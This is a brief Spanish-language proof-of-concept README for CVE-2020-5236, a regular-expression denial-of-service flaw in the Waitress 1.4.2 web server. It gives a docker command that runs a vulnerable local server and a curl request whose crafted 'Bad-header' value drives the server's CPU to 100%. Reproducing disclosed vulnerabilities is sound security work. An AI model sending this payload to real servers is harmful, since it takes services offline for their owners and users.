Waitress 1.4.2 ReDoS - CVE-2020-5236

Waitress versión 1.4.2 permite un ataque DoS. Cuando Waitress recibe una cabecera que contiene caracteres inválidos. Cuando una cabecera como "Bad-header: xxxxxxxxxxxxxxx\x10" es recibida, provocará que el motor de expresiones regulares realice un retroceso catastrófico, causando que el proceso utilice el 100% de la CPU y bloqueando cualquier otra interacción. Esto permite que un atacante envíe una sola solicitud con una cabecera inválida y deje el servicio fuera de línea.

por NVD

Uso

Ejecutar servidor vulnerable

$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py

PoC

$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"

Muestra el uso de CPU del servidor. Ejecuta "docker stats waitress".

↓ Ejecutar PoC

Referencias

• NVD - CVE-2020-5236
• El retroceso catastrófico en regex permite la denegación de servicio · Aviso · Pylons/waitress